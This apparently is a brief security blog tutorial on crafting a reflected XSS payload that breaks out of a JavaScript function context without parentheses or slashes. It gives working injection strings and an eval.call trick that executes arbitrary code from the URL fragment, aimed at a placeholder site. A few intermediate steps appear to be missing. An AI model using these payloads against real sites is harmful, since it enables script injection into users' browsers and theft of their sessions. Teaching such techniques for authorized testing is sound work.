Breaking out of a function context without () and // for XSS
Let’s say you’ve found something that could lead to relfected xss. You can inject unescaped characters in a piece of javascript on a page, for example:
1
2
3
4
5
6
7
8
9
10
11
12
13
...
<script>
$(function () {
//...
function foo() {
someCode;
var url = 'www.example.com/INJECTION_HERE';
someMoreCode;
}
//...
});
</script>
...
Also, you want your xss payload to fire without a need of foo
function being called, but you cannot use (
, )
, /
, <
, >
and new lines. This can actually happen if our entry point is a part of url’s path like https://www.example.com/foo/OUR_INPUT_HERE/bar/
. In such conditions, we cannot get out of <script>
and jquery’s $(...)
. So what do we do?
Getting out of foo …
First, let’s get out of foo
function. This one is pretty simple and obvious. All we have to do is to inject:
'} alert`1` - '
but then we get:
1
2
3
4
5
6
7
8
9
10
11
...
$(function () {
//...
function foo() {
someCode;
var url = 'www.example.com/'} alert`1` - '';
someMoreCode;
} // <-- this bracket spoils everything :(
//...
});
...
Closing bracket on line 8 breaks the code inside $(function () {...})
and therefore our alert
is not being executed. We need to do it a little bit smarter.
… without braking everything else
So, we need to put something after our alert
to make the closing bracket fit. Maybe let’s add function bar() {
?
So maybe we can just open {
to get an object literal?
Ok. So what kind of javascript creature has an opening {
, no ()
’s and code inside?
Great! When we use something like:
'} alert`1`; try {} catch {'
we end up with:
1
2
3
4
5
6
7
8
9
10
11
...
$(function () {
//...
function foo() {
someCode;
var url = 'www.example.com/'} alert`1`; try {} catch {'';
someMoreCode;
}
//...
});
...
which is valid javascript code and therefore our alert
fires!
But how do we execute anything more meaningful than an alert?
As I’ve mentioned, we are not allowed to use ()
which makes creating payloads a bit tricky. To get around this, we can use the following trick. First, we inject this in our entry point:
eval.call`${document.location.hash.substr`1`}`
and then we put our payload in url’s fragment identifier where all characters are allowed.
For example:
https://www.example.com/foo/eval.call`${document.location.hash.substr`1`}`/bar/#yourPayloadHere()
Of course, we need to url encode eval.call...
to make it work.
Happy hunting!